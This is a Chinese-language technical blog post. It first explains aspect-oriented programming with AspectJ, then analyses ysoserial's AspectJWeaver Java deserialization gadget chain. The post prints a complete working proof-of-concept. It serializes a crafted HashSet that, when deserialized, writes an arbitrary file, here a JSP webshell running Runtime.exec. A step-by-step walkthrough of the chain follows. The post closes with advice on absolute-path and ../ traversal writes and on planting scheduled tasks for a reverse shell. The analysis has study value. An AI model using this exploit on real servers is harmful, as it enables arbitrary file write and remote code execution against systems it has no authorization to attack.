前言:
今天看了下ysoserial的AspectJWeaver方法,分析了下其是如何通过调用SimpleCache$StorableCachingMap来实现写文件,这里把分析的流程写下来:
首先我们要看下其所需要的jar包:
<dependencies><dependency><groupId>org.aspectj</groupId><artifactId>aspectjweaver</artifactId><version>1.9.2</version></dependency><dependency><groupId>commons-collections</groupId><artifactId>commons-collections</artifactId><version>3.2.2</version></dependency></dependencies>
其中AspectJ Weaver 是一个用于实现面向切面编程(Aspect-Oriented Programming,AOP)的工具,它可以与 Java 代码一起使用,提供更强大的切面编程功能,首先了解下什么是切面编程:
切面编程(Aspect-Oriented Programming,AOP)是一种软件开发技术,旨在通过将横切关注点(Cross-cutting Concerns)与主要业务逻辑分离,提供一种更模块化、可重用和易于维护的方式来处理横跨多个组件和层的功能。
在传统的面向对象编程中,应用程序的功能通常被组织为一组对象,每个对象负责特定的业务逻辑。然而,有些功能以横切的方式影响多个对象,例如日志记录、安全性、事务管理和性能监控等。这些横切关注点会分散在应用程序的多个模块中,导致代码重复、可维护性差和难以理解。
AOP 解决了这个问题,它通过引入切面来将横切关注点从主要业务逻辑中分离出来。切面是一组与横切关注点相关的行为,它定义了在应用程序执行过程中何时、如何以及在哪里应用这些行为。切面可以捕获和影响应用程序的某些阶段或特定切点(Join Point),并在这些位置插入额外的逻辑,如前置增强、后置增强、异常处理和环绕增强等。
AOP 的核心概念包括:
-
切点(Join Point):在应用程序执行过程中,切点表示可能插入额外逻辑的位置,通常是方法的执行或抛出异常等。
-
切面(Aspect):切面是一组与切点相关的行为,它定义了在特定切点上执行的逻辑,例如在方法执行前后记录日志。
-
通知(Advice):通知是切面中实际执行的逻辑,它定义了在切点处执行的代码。常见的通知类型包括前置通知(Before Advice)、后置通知(After Advice)、异常通知(After-Throwing Advice)和环绕通知(Around Advice)等。
-
织入(Weaving):织入是将切面应用到目标对象上的过程。它可以在编译时、加载时或运行时完成。织入可以通过编译器、特定的类加载器或使用代理对象实现。
AOP 提供了一种将横切关注点与主要业务逻辑分离的方式,使得代码更具可维护性、可重用性和可扩展性。它可以减少代码重复,提高代码的可读性,并使开发人员能够更好地关注核心业务逻辑。AOP 在许多领域中都有广泛的应用,包括日志记录、事务管理、安全性、性能监控和异常处理等。
切面编程(Aspect-Oriented Programming,AOP)可以应用于许多不同的场景和领域。以下是一些常见的使用场景:
-
日志记录:通过切面编程,可以在方法执行前后记录日志信息,包括方法的输入参数、返回值、执行时间等。这可以帮助开发人员跟踪应用程序的执行流程、调试和排查问题。
-
安全性:AOP 可以用于实现安全性相关的功能,如身份验证和授权。通过在敏感方法的切点上应用安全性切面,可以确保只有经过身份验证的用户才能访问这些方法。
-
事务管理:AOP 可以用于实现事务管理,确保在数据库操作中的一组方法要么全部成功提交,要么全部回滚。通过在事务开始和结束时应用事务切面,可以简化事务管理的代码,并提供一致的事务处理机制。
-
缓存:AOP 可以用于实现缓存功能,通过在方法调用前检查缓存并在方法调用后更新缓存。这可以提高应用程序的性能和响应速度。
-
异常处理:AOP 可以用于集中处理异常,例如在方法抛出异常时记录错误日志、发送通知或执行特定的异常处理逻辑。
-
性能监控:通过在关键方法的切点上应用性能监控切面,可以收集方法的执行时间、调用次数和资源消耗等信息。这有助于进行性能分析、优化和瓶颈定位。
-
日志审计:AOP 可以用于记录敏感操作,如数据库操作、文件访问等。通过在相关方法的切点上应用审计切面,可以记录这些操作并提供审计日志。
-
跨层事务管理:当应用程序的业务逻辑跨越多个层(如控制器、服务和持久化层)时,AOP 可以用于实现跨层的事务管理,确保多个层的操作在一个事务中进行。
AspectJ Weaver简单实现:
当然我们具体使用ysoserial的AspectJWeaver方法和AspectJ Weaver的使用没什么关系,我们只是通过反射调用了其中一个函数来写文件,但是多了解下切面编程也不是什么坏事,这里大概讲解下如何通过AspectJ Weaver实现切面编程:
这里我们首先编写一个LoggingAspect 类和beforeAdvice方法,其中LoggingAspect`类使用 @Aspect`注解标识为切面类,并使用 @Before`注解定义了一个前置增强,它会在 com.example.service`包中的任何方法执行之前被调用。
import org.aspectj.lang.annotation.Aspect;
import org.aspectj.lang.annotation.Before;@Aspect
public class LoggingAspect {@Before("execution(* com.example.service.*.*(..))")public void beforeAdvice() {System.out.println("Before method execution");}
}
然后在application.properties中启动AspectJWeaver,通过启用 Spring 应用程序上下文中的自动代理,使 AspectJ Weaver 可以拦截和应用切面逻辑
spring.aop.aspectj.autoproxy=true
最后就是应用,这里对AppConfig 类使用 @EnableAspectJAutoProxy`注解启用 AspectJ 自动代理,并通过 @Bean`注解将切面类 LoggingAspect`注入为 Spring Bean。
import org.springframework.context.annotation.Configuration;
import org.springframework.context.annotation.EnableAspectJAutoProxy;@Configuration
@EnableAspectJAutoProxy
public class AppConfig {// 注入切面类@Beanpublic LoggingAspect loggingAspect() {return new LoggingAspect();}
}
这样便可以在执行* com.example.service.*.*(..))之前执行我们的函数,实现切面编程,这样做的好处实现了模块化,且功能之前不受影响,比如身份认证,我们只要对需要进行身份认证的函数前加入我们要执行的身份认证函数,通过切面编程可以很容易的将我们的身份认证函数插入到对应的函数前即可,这样开发代码更加清晰可控。
AspectJWeaver反序列化:
分析:
首先列出具体的poc代码:
package org.example;import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.charset.StandardCharsets;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;/*
Gadget chain:
HashSet.readObject()HashMap.put()HashMap.hash()TiedMapEntry.hashCode()TiedMapEntry.getValue()LazyMap.get()SimpleCache$StorableCachingMap.put()SimpleCache$StorableCachingMap.writeToPath()FileOutputStream.write()Usage:
args = "<filename>;<base64 content>"
*/public class Main {public static void main(String[] args) throws Exception{String fileName = "src\\test.jsp";String tmp = "<%java.lang.Runtime.getRuntime().exec(\"calc\");%>\n";byte[] exp = tmp.getBytes(StandardCharsets.UTF_8);// 创建StoreableCachingMap对象Constructor constructor = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap").getDeclaredConstructor(String.class, int.class);constructor.setAccessible(true);Object map = constructor.newInstance(".", 12);// 把保存了文件内容的对象exp放到ConstantTransformer中,后面调用ConstantTransformer#transform(xx)时,返回exp对象ConstantTransformer constantTransformer = new ConstantTransformer(exp);// 用LazyMap和TiedMapEntry包装Transformer类,以便于将触发点扩展到hashCode、toString、equals等方法Map lazyMap = LazyMap.decorate((Map) map, constantTransformer);TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, fileName);// 反序列化漏洞的启动点: HashSetHashSet hashSet = new HashSet(1);// 随便设置一个值,后面反射修改为tiedMapEntry,直接add(tiedMapEntry)会在序列化时本地触发payloadhashSet.add("fff");// 获取HashSet中的HashMap对象Field field;try {field = HashSet.class.getDeclaredField("map");} catch (NoSuchFieldException e){field = HashSet.class.getDeclaredField("backingMap"); // jdk}field.setAccessible(true);HashMap innerMap = (HashMap) field.get(hashSet);// 获取HashMap中的table对象Field field1;try{field1 = HashMap.class.getDeclaredField("table");}catch (NoSuchFieldException e){field1 = HashMap.class.getDeclaredField("elementData");}field1.setAccessible(true);Object[] array = (Object[]) field1.get(innerMap);// 从table对象中获取索引0 或 1的对象,该对象为HashMap$Node类Object node = array[0];if(node==null){node = array[1];}// 从HashMap$Node类中获取key这个field,并修改为tiedMapEntryField keyField = null;try {keyField = node.getClass().getDeclaredField("key");}catch (NoSuchFieldException e){keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");}keyField.setAccessible(true);keyField.set(node, tiedMapEntry);// 序列化和反序列化测试ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("serialize.ser"));objectOutputStream.writeObject(hashSet);ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("serialize.ser"));objectInputStream.readObject();}
}
然后我们看看具体的调用链:
Gadget chain:
HashSet.readObject()HashMap.put()HashMap.hash()TiedMapEntry.hashCode()TiedMapEntry.getValue()LazyMap.get()SimpleCache$StorableCachingMap.put()SimpleCache$StorableCachingMap.writeToPath()FileOutputStream.write()
为了更加清晰的看出具体的调用流程,我们就结合代码,根据调用链由下到上进行分析,首先看看我们最后利用的函数,我们实现写功能是通过SimpleCache$StorableCachingMap.writeToPath()实现,下面查看下对应的代码:
然后看下是put函数调用了这里,其中两个参数,第一个参数是写文件的文件名和目录,第二个参数为具体内容,这里可以看到我们可以实现将文件写入任意目录,只要权限允许:
所以这里就了解了我们为什么要加载SimpleCache$StorableCachingMap:
org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap
其中有个判断要求value内容不能等于"IDEM",我们写的内容也不会是这个,所以这里不影响。
下面我们就要找如何才能调用到SimpleCache$StorableCachingMap.put方法,看代码可以发现是通过LazyMap.get()调用,看下代码:
可以看到这里调用了put方法,其中map是动态调用,我们如何将key和value设置成我们期望的内容,这里看decorate方法,可以看到只要调用decorate就可以将内容变成我们需要的内容:
然后我们看下poc代码,可以看到我们通过调用decorate方法将
String tmp = "<%java.lang.Runtime.getRuntime().exec(\"calc\");%>\n"; byte[] exp = tmp.getBytes(StandardCharsets.UTF_8); Object map = constructor.newInstance(".", 12); Constructor constructor = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap").getDeclaredConstructor(String.class, int.class); constructor.setAccessible(true); ConstantTransformer constantTransformer = new ConstantTransformer(exp); Map lazyMap = LazyMap.decorate((Map) map, constantTransformer);
对代码分析,首先我们要设置文件内容,具体做法就是实例化constructor对象并调用getDeclaredConstructor
方法获取StoreableCachingMap类中声明的构造函数并初始化为.和12,然后将路径exp放入ConstantTransformer中,为什么要实例化ConstantTransformer,因为在LazyMap中的get方法中有如下代码:
Object value = this.factory.transform(key);
这里的this.factory动态类必须有transform方法,所以我们选择ConstantTransformer的transform方法,否则这里会报错:
最后调用LazyMap的decorate方法将实例化的constructor和ConstantTransformer传入,便可以将
this.map设置为SimpleCache$StoreableCachingMap,this.factory设置为ConstantTransformer,下面就要看哪里能调用到LazyMap的get方法:
根据代码可以看到调用链为TiedMapEntry.getValue(),我们看下代码可以发现这里确实是一个动态调用,this.map.get(this.key),只要his.map为LazyMap就可以进入get方法,并且参数为this.key:
下面看下我们的poc代码:
String fileName = "test.jsp"; TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, fileName);
可以看到示例化TiedMapEntry,并传入lazyMap为this.map,fileName为this.key,就可以完成对文件名和文件内容的设置。下面就要看如何实例化TiedMapEntry并调用getValue方法:
根据Gadget可以看到是通过hashCode调用到getValue方法:
所以现在要考虑如何调用到 TiedMapEntry的hashCode,但是一看hashCode就知道这个和hash就跑不了了,这里使用的HashMap和HashSet,首先看下调用链:
HashSet.readObject()HashMap.put()HashMap.hash()
反序列化的时候首先进入 HashSet的readObject方法,可以看到在其中调用了内部的HashMap的put方法:
然后会调用HashMap的put方法,其中调用了hash方法:
进入hash方法中可以看到动态调用key的hashCode方法,所以只要这个key是TiedMapEntry,那么我们整个反序列化的流程就闭合了,下面根据代码分析下:
先看具体代码:
HashSet hashSet = new HashSet(1); hashSet.add("fff"); Field field = HashSet.class.getDeclaredField("map"); field.setAccessible(true); HashMap innerMap = (HashMap) field.get(hashSet); Field field1 = HashMap.class.getDeclaredField("table"); field1.setAccessible(true); Object[] array = (Object[]) field1.get(innerMap); Object node = array[0]; if(node==null){node = array[1]; } Field keyField = node.getClass().getDeclaredField("key"); keyField.setAccessible(true); keyField.set(node, tiedMapEntry);
首先我们需要实例化一个hashSet,然后通过反射判断是否存在map,这里需要注意代码里有个try catch,作用是在不同的java版本进行适配,这里我们通过反射获取到了HashMap,然后反射获取到HashMap中的数组:
我们看看Node具体的代码:
这里可以看到我们需要将对应的this.key赋值为 TiedMapEntry,所以就解释了keyField.set(node, tiedMapEntry),走完可以发现其实这段代码就是hashSet->HashMap->node这样的嵌套,通过反射主要就是修改node的key为TiedMapEntry,这样反序列代码逻辑就形成了闭环。
演示:
下面进行演示:
执行后在writeToPath添加断点,可以看到成功的执行到了写文件功能:
执行完成后会在当前路径生成一个test.jsp文件,这里需要注意文件路径代码:
String fullPath = this.folder + File.separator + key;
其中this.folder是我们代码constructor.newInstance(".", 12)中的. File.separator是\,所以这里就需要注意,如果我们想通过绝对路径写道windows的C盘内,就要使用如下代码:
constructor.newInstance("C:\\\\", 12);
如果是linux则不需要改变这里,可以直接选择使用../../../../../../的方式返回到根目录
如果服务器是springboot或者采用RESTful API形式访问,不支持解析jsp文件,那么我们可以采用写入计划任务等方式反弹shell,具体的方法就因人而异,因环境而已,这里不做深究。
总结:
总结下具体的流程,其实也很简单主要还是通过hashset作为入口点,通过hashmap,TiedMapEntry,LazyMap等方法最终调用到SimpleCache$StoreableCachingMap的writeToPath方法,完成对任意目录写入任意文件的操作,代码虽然简单,但是要想自己找到一个新的可以利用的Gadget也是一个很有挑战性的工作,还是有很大的差距。